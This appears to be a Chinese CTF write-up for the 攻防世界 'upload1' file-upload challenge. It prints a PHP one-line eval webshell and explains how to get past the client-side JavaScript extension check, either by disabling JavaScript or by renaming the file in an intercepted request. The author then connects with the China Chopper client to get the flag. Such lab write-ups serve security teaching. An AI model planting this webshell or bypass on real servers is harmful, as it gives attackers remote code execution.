【攻防世界】十一、upload1

在这里插入图片描述

步骤

打开所给场景,发现可以上传文件,尝试进行上传一句话木马:

<?php
@eval($_REQUEST['a']);
echo "执行成功";
?>

在这里插入图片描述
发现提示只能上传图片,点击确定后发现文件已经选中,但是提交按钮却不能点击:
在这里插入图片描述
一看就是通过前端js脚本进行校验了,这样就很简单了,两种方法:

第一种:简单粗暴,直接进入控制台,点击设置,禁用JavaScript
在这里插入图片描述
刷新,重新选中一句话木马,发现可以提交
在这里插入图片描述
上传成功,发现上传的路径已经显示,进行访问
在这里插入图片描述
在这里卡了好久,我一直尝试进行传入参数,结果发现没什么卵用
在这里插入图片描述
最后突然想起来菜刀是干什么吃的!直接上工具
在这里插入图片描述
在这里插入图片描述
拿到flag~

方法二:要是看不出来是通过js进行校验的,我们可以先上传一个图片文件进行抓包分析
在这里插入图片描述
接下来就是代码审计:

Array.prototype.contains = function (obj) {  
    var i = this.length;  
    while (i--) {  
        if (this[i] === obj) {  
            return true;  
        }  
    }  
    return false;  
}  

function check(){//检查是否图片
upfile = document.getElementById("upfile");//获取选择文件按钮的节点
submit = document.getElementById("submit");//获取提交按钮的节点
name = upfile.value;//上传文件的名字
ext = name.replace(/^.+\./,'');//将文件名字中匹配正则的部分用空字符替换
//正则含义:以一个或多个换行符除外任意单字符开头然后跟.
if(['jpg','png'].contains(ext)){
	submit.disabled = false;//如果包含jpg,png就可以提交
}else{
	submit.disabled = true;如果不包含jpg,png就不让提交

	alert('请选择一张图片文件上传!');
}


}
  • replace(regexp/substr,replacement):前面的参数是用来寻找调用这个方法的字符串中符合的部分,然后用后面的参数替换它

分析源码可知,是黑名单校验,我们将一句话木马的后缀改为jpg进行上传,同样进行抓包:
在这里插入图片描述
在这里将后缀改为php,进行转发,发现上传成功:
在这里插入图片描述
进行访问:
在这里插入图片描述
接下来同样用菜刀进行连接就可以了

总结

考察文件上传的绕过方式,以及工具的合理使用

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值